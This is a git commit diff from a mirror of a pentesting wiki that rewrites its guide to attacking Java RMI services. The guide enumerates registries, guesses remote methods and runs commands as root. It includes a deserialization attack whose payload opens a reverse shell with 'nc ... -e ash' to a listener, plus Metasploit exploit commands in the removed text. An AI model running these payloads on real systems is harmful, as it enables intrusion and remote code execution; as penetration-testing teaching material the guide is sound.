mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Merge pull request #286 from qtc-de/feat/update-java-rmi
Update Java RMI documentation
This commit is contained in:
commit
be96bcb3b4
1 changed files with 294 additions and 254 deletions
|
@ -1,311 +1,351 @@
|
|||
# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
|
||||
# 1098/1099/1050 - Pentesting Java RMI
|
||||
|
||||
## Basic Information
|
||||
|
||||
The Java Remote Method Invocation, or Java RMI, is a mechanism that **allows** an object that exists in **one** **Java** virtual machine to **access** and **call** methods that are contained in **another** **Java** virtual machine; This is basically the same thing as a [remote procedure call](https://null-byte.wonderhowto.com/how-to/hack-like-pro-exploit-and-gain-remote-access-pcs-running-windows-xp-0134709/), but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the same address space.
|
||||
*Java Remote Method Invocation*, or *Java RMI*, is an object oriented *RPC* mechanism that allows an object
|
||||
located in one *Java virtual machine* to call methods on an object located in another *Java virtual machine*.
|
||||
This enables developers to write distributed applications using an object-oriented paradigm. A short introduction
|
||||
to *Java RMI* from an offensive perspective can be found in [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
|
||||
|
||||
One of the major advantages of RMI is the ability for remote objects to load new classes that aren't explicitly defined already, extending the behavior and functionality of an application.
|
||||
From [here](https://null-byte.wonderhowto.com/how-to/exploit-java-remote-method-invocation-get-root-0187685/).
|
||||
|
||||
**Default port:** 1099, 1098
|
||||
**Default port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
|
||||
```text
|
||||
PORT STATE SERVICE REASON
|
||||
1099/tcp open rmiregistry syn-ack
|
||||
1099/tcp open java-rmi Java RMI
|
||||
PORT STATE SERVICE VERSION
|
||||
1090/tcp open ssl/java-rmi Java RMI
|
||||
9010/tcp open java-rmi Java RMI
|
||||
37471/tcp open java-rmi Java RMI
|
||||
40259/tcp open ssl/java-rmi Java RMI
|
||||
```
|
||||
|
||||
### Example
|
||||
Usually, only the default *Java RMI* components (the *RMI Registry* and the *Activation System*) are bound to
|
||||
common ports. The *remote objects* that implement the actual *RMI* application are usually bound to random ports
|
||||
as shown in the output above.
|
||||
|
||||
\(Example taken from [here](https://en.wikipedia.org/wiki/Java_remote_method_invocation)\)
|
||||
The following classes implement a simple client-server program using RMI that displays a message.
|
||||
*nmap* has sometimes troubles identifying *SSL* protected *RMI* services. If you encounter an unknown ssl service on
|
||||
a common *RMI* port, you should further investigate.
|
||||
|
||||
**`RmiServer` class** — listens to RMI requests and implements the interface which is used by the client to invoke remote methods.
|
||||
|
||||
## RMI Components
|
||||
|
||||
To put it in simple terms, *Java RMI* allows a developer to make a *Java object* available on the network. This opens
|
||||
up a *TCP* port where clients can connect and call methods on the corresponding object. Despite this sounds simple,
|
||||
there are several challenges that *Java RMI* needs to solve:
|
||||
|
||||
1. To dispatch a method call via *Java RMI*, clients need to know the IP address, the listening port, the implemented
|
||||
class or interface and the ``ObjID`` of the targeted object (the ``ObjID`` is a unique and random identifier that
|
||||
is created when the object is made available on the network. It is required because *Java RMI* allows multiple
|
||||
objects to listen on the same *TCP* port).
|
||||
2. Remote clients may allocate resources on the server by invoking methods on the exposed object. The *Java virtual
|
||||
machine* needs to track which of these resources are still in use and which of them can be garbage collected.
|
||||
|
||||
The first challenge is solved by the *RMI registry*, which is basically a naming service for *Java RMI*. The *RMI
|
||||
registry* itself is also an *RMI service*, but the implemented interface and the ``ObjID`` are fixed and known by
|
||||
all *RMI* clients. This allows *RMI* clients to consume the *RMI* registry just by knowing the corresponding *TCP*
|
||||
port.
|
||||
|
||||
When developers want to make their *Java objects* available within the network, they usually bind them to an *RMI registry*.
|
||||
The *registry* stores all information required to connect to the object (IP address, listening port, implemented class or
|
||||
interface and the ``ObjID`` value) and makes it available under a human readable name (the *bound name*). Clients that want
|
||||
to consume the *RMI service* ask the *RMI registry* for the corresponding *bound name* and the registry returns all required
|
||||
information to connect. Thus, the situation is basically the same as with an ordinary *DNS* service. The following listing
|
||||
shows a small example:
|
||||
|
||||
```java
|
||||
import java.rmi.Naming;
|
||||
import java.rmi.RemoteException;
|
||||
import java.rmi.server.UnicastRemoteObject;
|
||||
import java.rmi.registry.*;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import lab.example.rmi.interfaces.RemoteService;
|
||||
|
||||
public class RmiServer extends UnicastRemoteObject implements RmiServerIntf {
|
||||
public static final String MESSAGE = "Hello World";
|
||||
public class ExampleClient {
|
||||
|
||||
public RmiServer() throws RemoteException {
|
||||
super(0); // required to avoid the 'rmic' step, see below
|
||||
}
|
||||
|
||||
public String getMessage() {
|
||||
return MESSAGE;
|
||||
}
|
||||
|
||||
public static void main(String args[]) throws Exception {
|
||||
System.out.println("RMI server started");
|
||||
|
||||
try { //special exception handler for registry creation
|
||||
LocateRegistry.createRegistry(1099);
|
||||
System.out.println("java RMI registry created.");
|
||||
} catch (RemoteException e) {
|
||||
//do nothing, error means registry already exists
|
||||
System.out.println("java RMI registry already exists.");
|
||||
}
|
||||
|
||||
//Instantiate RmiServer
|
||||
RmiServer server = new RmiServer();
|
||||
|
||||
// Bind this object instance to the name "RmiServer"
|
||||
Naming.rebind("//localhost/RmiServer", server);
|
||||
System.out.println("PeerServer bound in registry");
|
||||
private static final String remoteHost = "172.17.0.2";
|
||||
private static final String boundName = "remote-service";
|
||||
|
||||
public static void main(String[] args)
|
||||
{
|
||||
try {
|
||||
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
|
||||
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
|
||||
String response = ref.remoteMethod(); // Call a remote method
|
||||
|
||||
} catch( Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**`RmiServerIntf` interface** — defines the interface that is used by the client and implemented by the server.
|
||||
The second of the above mentioned challenges is solved by the *Distributed Garbage Collector* (*DGC*). This is another
|
||||
*RMI service* with a well known ``ObjID`` value and it is available on basically each *RMI endpoint*. When an *RMI client*
|
||||
starts to use an *RMI service*, it sends an information to the *DGC* that the corresponding *remote object* is in use.
|
||||
The *DGC* can then track the reference count and is able to cleanup unused objects.
|
||||
|
||||
```java
|
||||
import java.rmi.Remote;
|
||||
import java.rmi.RemoteException;
|
||||
Together with the deprecated *Activation System*, these are the three default components of *Java RMI*:
|
||||
|
||||
public interface RmiServerIntf extends Remote {
|
||||
String getMessage() throws RemoteException;
|
||||
}
|
||||
```
|
||||
1. The *RMI Registry* (``ObjID = 0``)
|
||||
2. The *Activation System* (``ObjID = 1``)
|
||||
3. The *Distributed Garbage Collector* (``ObjID = 2``)
|
||||
|
||||
**`RmiClient` class** — this is the client which gets the reference \(a proxy\) to the remote object living on the server and invokes its method to get a message. If the server object implemented java.io.Serializable instead of java.rmi.Remote, it would be serialized and passed to the client as a value.[\[2\]](https://en.wikipedia.org/wiki/Java_remote_method_invocation#cite_note-2)
|
||||
The default components of *Java RMI* have been known attack vectors for quite some time and multiple vulnerabilities
|
||||
exist in outdated *Java* versions. From an attacker perspective, these default components are interisting, because
|
||||
they implemented known classes / interfaces and it is easily possible to interact with them.
|
||||
This situation is different for custom *RMI services*. To call a method on a *remote object*, you need to know the corresponding
|
||||
method signature in advance. Without knowing an existing method signature, there is no way to communicate to a *RMI service*.
|
||||
|
||||
```java
|
||||
import java.rmi.Naming;
|
||||
|
||||
public class RmiClient {
|
||||
public static void main(String args[]) throws Exception {
|
||||
RmiServerIntf server = (RmiServerIntf)Naming.lookup("//localhost/RmiServer");
|
||||
System.out.println(server.getMessage());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## RMI Enumeration
|
||||
|
||||
RMI registries do **not disclose a list of available method signatures**, but if you can guess it, you can invoke it. Therefore, a good approach to abuse this service is to **brute-force** the available method signatures.
|
||||
RMI methods are usually interesting as a bunch of them will **deserialize the received data** making them vulnerable to [**Java Insecure Deserialization**](../pentesting-web/deserialization/#java-http) and granting RCE to an attacker.
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) is a *Java RMI* vulnerability scanner that is capable
|
||||
of identifying common *RMI vulnerabilities* automatically. Whenever you identify an *RMI* endpoint, you should give it a try:
|
||||
|
||||
### RMI Method Signatures
|
||||
|
||||
\(Research taken from [https://labs.bishopfox.com/tech-blog/rmiscout](https://labs.bishopfox.com/tech-blog/rmiscout)\)
|
||||
|
||||
To execute remote methods, Java RMI clients submit a 64-bit hash of the method signature, which the server uses to identify the corresponding server-side method. These **hashes are computed** with the following logic:
|
||||
|
||||
1. **Source code** representation of the signature:
|
||||
|
||||
`void myRemoteMethod(int count, Object obj, boolean flag)`
|
||||
|
||||
2. **Bytecode** representation of signature:
|
||||
|
||||
`myRemoteMethod(ILjava/lang/Object;Z)V`
|
||||
|
||||
3. Method Hash: **big-endian representation of first 8 bytes of the SHA1 of the signature**:
|
||||
|
||||
`Hash = SHA1String(“myRemoteMethod(ILjava/lang/Object;Z)V”).substring(0,8).reverse()`
|
||||
|
||||
As shown above, the information that is used to compute a method hash are: **the method name, the return types, and an ordered list of the fully qualified names of the parameters’ types**. Instead of brute-forcing the 64-bit keyspace, we can use wordlists for each of these categories to guess common signatures. Using [GitGot](https://labs.bishopfox.com/blog/gitgot-tool-release), I scraped GitHub for RMI interfaces in open source projects and found interesting patterns across the 15,000+ method signatures:
|
||||
|
||||
![Distribution of return types of 15,000 functions sampled from RMI interfaces on GitHub](https://labs.bishopfox.com/hs-fs/hubfs/200508-content-image-pie-chart-RMIScout.png?width=617&name=200508-content-image-pie-chart-RMIScout.png)
|
||||
|
||||
_**Figure 2**: Distribution of return types of 15,000 functions sampled from RMI interfaces on GitHub_
|
||||
|
||||
As shown above, using `int`, `boolean`, and `void` as our guessed return types gives us a 61.4% chance of guessing correctly based off this data. If we add `java.lang.String`, we can add an extra 9.8% to our probable success, as it represents nearly a third of the non-primitive return types. That brings our final list of candidate return types \(`int`, `boolean`, `void`, `String`\) to a 71.22% probability in the observed dataset.
|
||||
|
||||
RMIScout includes a deduped wordlist of prototypes \(`prototypes.txt`\) found from this exploration and it also includes a list of most frequently occurring method names \(`methods.txt`\).
|
||||
|
||||
### Brute-Forcing Signatures
|
||||
|
||||
To **identify RMI functions without executing them**, RMIScout leverages low-level JRE RMI functions and uses dynamic class generation to send RMI invocations with **deliberately mismatched types** to trigger **`RemoteExceptions`**. These exceptions allow us to identify remote methods without actually invoking them.
|
||||
|
||||
To accomplish this, RMIScout **computes the method hash** using the original user-supplied types, but substitutes the values of all parameters for an instance of a **dynamically generated, serializable clas**s. The class is generated with a **random 255-character name** \(the underlying assumption being that this random name does not exist in the remote class path\). For example:
|
||||
|
||||
**Candidate Remote Interface:**
|
||||
|
||||
`void login(String user, String password)`
|
||||
|
||||
**RMIScout will invoke:**
|
||||
|
||||
`login((String) new QUjsdg83..255 chars..(), (String) new QUjsdg83..255 chars..())`
|
||||
|
||||
If the **RMI method is present**, it will attempt to **unmarshal** the parameters. This will result in a **remote exception** disclosed to the client. Specifically, it’ll be a `java.rmi.UnmarshalException` either caused by a `ClassNotFoundException` \(due to our non-existent random class\) or by other exceptions \(finding object-typed data when primitive-typed data was expected in the stream\) **without invoking the underlying method.**
|
||||
|
||||
I was **not able to discover a method for identifying parameter-less methods without invoking them**. As such, by default void argument prototypes are skipped by RMIScout unless the option `--allow-unsafe` is used. **Note: `--allow-unsafe`** will cause parameter-less methods to **be invoked on discovery**, which can lead to unexpected and possibly destructive behavior on the remote server.
|
||||
|
||||
### Automatic Enumeration
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/misc/java_rmi_server
|
||||
msf> use auxiliary/gather/java_rmi_registry
|
||||
nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p <PORT> <IP>
|
||||
```console
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
[+]
|
||||
[+] - plain-server2
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
||||
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
|
||||
[+] - legacy-service
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
|
||||
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
|
||||
[+] - plain-server
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
||||
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
[+]
|
||||
[+] RMI server codebase enumeration:
|
||||
[+]
|
||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||
[+]
|
||||
[+] RMI server String unmarshalling enumeration:
|
||||
[+]
|
||||
[+] - Caught ClassNotFoundException during lookup call.
|
||||
[+] --> The type java.lang.String is unmarshalled via readObject().
|
||||
[+] Configuration Status: Outdated
|
||||
[+]
|
||||
[+] RMI server useCodebaseOnly enumeration:
|
||||
[+]
|
||||
[+] - Caught MalformedURLException during lookup call.
|
||||
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
|
||||
[+] Configuration Status: Non Default
|
||||
[+]
|
||||
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
|
||||
[+]
|
||||
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
|
||||
[+] Vulnerability Status: Vulnerable
|
||||
[+]
|
||||
[+] RMI Security Manager enumeration:
|
||||
[+]
|
||||
[+] - Security Manager rejected access to the class loader.
|
||||
[+] --> The server does use a Security Manager.
|
||||
[+] Configuration Status: Current Default
|
||||
[+]
|
||||
[+] RMI server JEP290 enumeration:
|
||||
[+]
|
||||
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
|
||||
[+] Vulnerability Status: Non Vulnerable
|
||||
[+]
|
||||
[+] RMI registry JEP290 bypass enmeration:
|
||||
[+]
|
||||
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
|
||||
[+] Vulnerability Status: Vulnerable
|
||||
[+]
|
||||
[+] RMI ActivationSystem enumeration:
|
||||
[+]
|
||||
[+] - Caught IllegalArgumentException during activate call (activator is present).
|
||||
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
||||
[+] --> Client codebase enabled - Configuration Status: Non Default
|
||||
```
|
||||
|
||||
[https://github.com/BishopFox/rmiscout](https://github.com/BishopFox/rmiscout) to explore and try to find RCE vulnerabilities.
|
||||
[https://github.com/NickstaDB/BaRMIe](https://github.com/NickstaDB/BaRMIe) to enumerate and attack
|
||||
[https://github.com/siberas/sjet](https://github.com/siberas/sjet) allows an easy exploitation of insecure configured JMX services \(I tried and It gave me `Error: Can't connect to remote service` let me know if you know how to fix this issue\).
|
||||
The output of the enumeration action is explained in more detail in the [documentation pages](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)
|
||||
of the project. Depending on the outcome, you should try to verify identified vulnerabilities.
|
||||
|
||||
### Reverse Shell
|
||||
The ``ObjID`` values displayed by *remote-method-guesser* can be used to determine the uptime of the service.
|
||||
This may allows to identify other vulnerabilities:
|
||||
|
||||
```bash
|
||||
msf> use exploit/multi/misc/java_rmi_server
|
||||
```console
|
||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
[+]
|
||||
[+] ObjNum: -4004948013687638236
|
||||
[+] UID:
|
||||
[+] Unique: 1442798173
|
||||
[+] Time: 1640761503828 (Dec 29,2021 08:05)
|
||||
[+] Count: -32760
|
||||
```
|
||||
|
||||
## RMI-IIOP
|
||||
## Bruteforcing Remote Methods
|
||||
|
||||
> **RMI-IIOP** \(read as "RMI over IIOP"\) denotes the [Java Remote Method Invocation](https://en.wikipedia.org/wiki/Java_Remote_Method_Invocation) \(RMI\) interface over the [Internet Inter-Orb Protocol](https://en.wikipedia.org/wiki/Internet_Inter-Orb_Protocol) \(IIOP\), which delivers [Common Object Request Broker Architecture](https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture) \(CORBA\) [distributed computing](https://en.wikipedia.org/wiki/Distributed_computing) capabilities to the Java platform. It was initially based on two specifications: the Java Language Mapping to OMG IDL, and CORBA/IIOP 2.3.1
|
||||
>
|
||||
> With features inherited from CORBA, software components that work together can be written in multiple computer languages and run on multiple computers. In other words, it supports multiple platforms and can make remote procedure calls to execute, subroutines on another computer as defined by RMI.
|
||||
> Description from [here](https://en.wikipedia.org/wiki/RMI-IIOP).
|
||||
Even when no vulnerabilities have been identified during enumeration, the available *RMI* services
|
||||
could still expose dangerous functions. Furthermore, despite *RMI* communication to *RMI* default
|
||||
components is protected by deserialization filters, when talking to custom *RMI* services, such filters are
|
||||
usually not in place. Knowing valid method signatures on *RMI* services is therefore valuable.
|
||||
|
||||
\(Research from [https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout](https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout)\)
|
||||
Unfortunately, *Java RMI* does not support enumerating methods on *remote objects*. That being said,
|
||||
it is possible to bruteforce method signatures with tools like [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
or [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
|
||||
Unlike standard Java RMI \(aka RMI-JRMP\) services that are identified by a method hash, Java Method invocation over the CORBA Internet Inter-Orb Protocol \(RMI-IIOP\) uses **two different algorithms to identify method signatures**:
|
||||
|
||||
1. For **non-overloaded methods**, the signature is just the **method name represented as a string**. Parameter types, the number of parameters, and return type are all disregarded.
|
||||
2. For **overloaded methods** \(methods sharing the same name\), RMI-IIOP uses a concatenated string with the **method name and its respective ordered types** \(examples below\).
|
||||
|
||||
Let’s take a look at an example interface and a decompiled RMI-IIOP stub. Here is an excerpt of the remote interface from the RMIScout demo:
|
||||
|
||||
```java
|
||||
public int add(int paramInt1, int paramInt2) throws RemoteException;
|
||||
public String sayTest19(int paramInt) throws RemoteException;
|
||||
public String sayTest19(List paramList1, List paramList2) throws RemoteException;
|
||||
public String sayTest19(List[] paramArrayOfList, int paramInt) throws RemoteException;
|
||||
public Object sayTest20(String paramString) throws RemoteException;
|
||||
```console
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
[+] 752 methods were successfully parsed.
|
||||
[+] Reading method candidates from internal wordlist rmiscout.txt
|
||||
[+] 2550 methods were successfully parsed.
|
||||
[+]
|
||||
[+] Starting Method Guessing on 3281 method signature(s).
|
||||
[+]
|
||||
[+] MethodGuesser is running:
|
||||
[+] --------------------------------
|
||||
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
|
||||
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
|
||||
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
|
||||
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
|
||||
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
|
||||
[+] [6562 / 6562] [#####################################] 100%
|
||||
[+] done.
|
||||
[+]
|
||||
[+] Listing successfully guessed methods:
|
||||
[+]
|
||||
[+] - plain-server2 == plain-server
|
||||
[+] --> String execute(String dummy)
|
||||
[+] --> String system(String dummy, String[] dummy2)
|
||||
[+] - legacy-service
|
||||
[+] --> void logMessage(int dummy1, String dummy2)
|
||||
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
||||
[+] --> String login(java.util.HashMap dummy1)
|
||||
```
|
||||
|
||||
First let’s look at the **`add(int,int)`** method. Since its **method name is unique**, the **generated stub** is simply the **method** **name**. The server compares the client’s requested method \(`paramString` in the figure below\) against a string literal.
|
||||
Identified methods can be called like this:
|
||||
|
||||
Because this method only uses primitive parameter types, the compiled stub has no type safety. The server will perform two 8-byte reads and interpret the bytes as long integers. **For brute-forcing, the lack of type safety makes it impossible to know if we guessed the correct types**. Furthermore, any additional input from the client is disregarded, thus preventing safe identification via an error for too many supplied parameters:
|
||||
|
||||
```java
|
||||
if (paramString.equals("add"))
|
||||
{
|
||||
int m = localInputStream.read_long();
|
||||
i2 = localInputStream.read_long();
|
||||
int i3 = localCorbaImpl.add(m, i2);
|
||||
localObject9 = paramResponseHandler.createReply();
|
||||
((org.omg.CORBA.portable.OutputStream)localObject9).write_long(i3);
|
||||
return (org.omg.CORBA.portable.OutputStream)localObject9;
|
||||
}
|
||||
```console
|
||||
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
||||
[+] uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
Now, let’s look at the **overloaded `sayTest19` methods**. Here, the CORBA stub compiler **appends the signature with information about the types to differentiate between the overloaded method names**. Some naming schemes are more intuitive than others. In this case, we are provided type safety by the signature itself:
|
||||
Or you can perform deserialization attacks like this:
|
||||
|
||||
```java
|
||||
if (paramString.equals("sayTest19__long"))
|
||||
{
|
||||
int n = localInputStream.read_long();
|
||||
localObject6 = localCorbaImpl.sayTest19(n);
|
||||
localObject8 = (org.omg.CORBA_2_3.portable.OutputStream)paramResponseHandler.createReply();
|
||||
((org.omg.CORBA_2_3.portable.OutputStream)localObject8).write_value((Serializable)localObject6, String.class);
|
||||
return (org.omg.CORBA.portable.OutputStream)localObject8;
|
||||
}
|
||||
if (paramString.equals("sayTest19__java_util_List__java_util_List"))
|
||||
{
|
||||
localObject3 = (List)localInputStream.read_value(List.class);
|
||||
localObject6 = (List)localInputStream.read_value(List.class);
|
||||
localObject8 = localCorbaImpl.sayTest19((List)localObject3, (List)localObject6);
|
||||
localObject9 = (org.omg.CORBA_2_3.portable.OutputStream)paramResponseHandler.createReply();
|
||||
((org.omg.CORBA_2_3.portable.OutputStream)localObject9).write_value((Serializable)localObject8, String.class);
|
||||
return (org.omg.CORBA.portable.OutputStream)localObject9;
|
||||
}
|
||||
if (paramString.equals("sayTest19__org_omg_boxedRMI_java_util_seq1_List__long"))
|
||||
{
|
||||
localObject2 = (List[])localInputStream.read_value(new List[0].getClass());
|
||||
i2 = localInputStream.read_long();
|
||||
localObject7 = localCorbaImpl.sayTest19((List[])localObject2, i2);
|
||||
localObject9 = (org.omg.CORBA_2_3.portable.OutputStream)paramResponseHandler.createReply();
|
||||
((org.omg.CORBA_2_3.portable.OutputStream)localObject9).write_value((Serializable)localObject7, String.class);
|
||||
return (org.omg.CORBA.portable.OutputStream)localObject9;
|
||||
}
|
||||
```console
|
||||
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
|
||||
[+] Creating ysoserial payload... done.
|
||||
[+]
|
||||
[+] Attempting deserialization attack on RMI endpoint...
|
||||
[+]
|
||||
[+] Using non primitive argument type java.lang.String on position 0
|
||||
[+] Specified method signature is String execute(String dummy)
|
||||
[+]
|
||||
[+] Caught ClassNotFoundException during deserialization attack.
|
||||
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
|
||||
[+] Deserialization attack probably worked :)
|
||||
|
||||
$ nc -vlp 4444
|
||||
Ncat: Version 7.92 ( https://nmap.org/ncat )
|
||||
Ncat: Listening on :::4444
|
||||
Ncat: Listening on 0.0.0.0:4444
|
||||
Ncat: Connection from 172.17.0.2.
|
||||
Ncat: Connection from 172.17.0.2:45479.
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
And for **`sayTest20(String)`**, we again have a **unique method nam**e, but here we are **deserializing** a **`String`** class. In this case, the complex parameter allows us to **force a `ClassCastException` to allow identification without invocation**.
|
||||
More information can be found in these articles:
|
||||
|
||||
```javascript
|
||||
if (paramString.equals("sayTest20"))
|
||||
{
|
||||
localObject1 = (String)localInputStream.read_value(String.class);
|
||||
localObject4 = localCorbaImpl.sayTest20((String)localObject1);
|
||||
localObject7 = paramResponseHandler.createReply();
|
||||
Util.writeAny((org.omg.CORBA.portable.OutputStream)localObject7, localObject4);
|
||||
return (org.omg.CORBA.portable.OutputStream)localObject7;
|
||||
}
|
||||
* [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
||||
* [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
||||
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
* [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
Apart from guessing, you should also look in search engines or *GitHub* for the interface or even the
|
||||
implementation of an encountered *RMI* service. The *bound name* and the name of the implemented class or interface
|
||||
can be helpful here.
|
||||
|
||||
|
||||
## Known Interfaces
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marks classes or interfaces as ``known`` if they
|
||||
are listed in the tool's internal database of known *RMI services*. In these cases you can use the ``known`` action to get
|
||||
more information on the corresponding *RMI service*:
|
||||
|
||||
```console
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
[+]
|
||||
[+] - jmxrmi
|
||||
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
|
||||
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
|
||||
|
||||
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] Name:
|
||||
[+] JMX Server
|
||||
[+]
|
||||
[+] Class Name:
|
||||
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] - javax.management.remote.rmi.RMIServer
|
||||
[+]
|
||||
[+] Description:
|
||||
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
|
||||
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
|
||||
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
|
||||
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
|
||||
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
|
||||
[+]
|
||||
[+] Remote Methods:
|
||||
[+] - String getVersion()
|
||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
||||
[+]
|
||||
[+] Vulnerabilities:
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
[+] MLet
|
||||
[+]
|
||||
[+] Description:
|
||||
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
|
||||
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
|
||||
[+] is therefore most of the time equivalent to remote code execution.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
[+] Deserialization
|
||||
[+]
|
||||
[+] Description:
|
||||
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
|
||||
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
|
||||
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
|
||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
```
|
||||
|
||||
So, what does this mean for safely brute-forcing RMI-IIOP stubs? Overall, it’s a significantly smaller keyspace; **most of the time we will only need to get the name of the method correct**. That said, we will likely **accidentally invoke methods that only use primitives**, and we won’t always know the true method signature.
|
||||
|
||||
### RMI-IIOP Brute-forcing Limitations
|
||||
|
||||
**1. We can't identify methods solely using primitive typed parameters without invoking the method**
|
||||
|
||||
This is because there is no concept of type checking in the generated stubs, any values sent along will be deserialized and cast to the expected primitive \(as seen in the `add(int, int)` example above\). **Unlike RMI-JRMP, primitives are not up-cast to an `Object`-derived type, upcasting throws a `ClassCastException` instead of execution.**
|
||||
|
||||
**2. We can't identify the maximum number or types of parameters**
|
||||
|
||||
If a method is **not overloaded**, we will only have an **exception if there is a `ClassCastException` when deserializing a parameter or an unexpected `EOFException` because of insufficient parameters**. Extra parameters in the input stream will just be ignored.
|
||||
|
||||
**3. We can't identify the return types**
|
||||
|
||||
**Return types are not included** in any part of the signature matching, so there’s no guaranteed way to identify the return type. If it’s an `Object`-derived type, we may get a local `ClassCastException` if RMIScout attempts to deserialize an incorrect typed response \(invoke mode\), but for primitives, we won’t know.
|
||||
|
||||
**4. We have to send two requests for every check**
|
||||
|
||||
**RMIScout needs to test both possible signature formats** because the overloaded methods use a distinct alternative format.
|
||||
|
||||
**5. We need to use JRE8 to successfully use RMIScout's RMI-IIOP functionality**
|
||||
|
||||
JRE9 stripped out RMI-IIOP functionality, so to run these tests and take advantage of existing standard library code, **we need to use JRE8**.
|
||||
|
||||
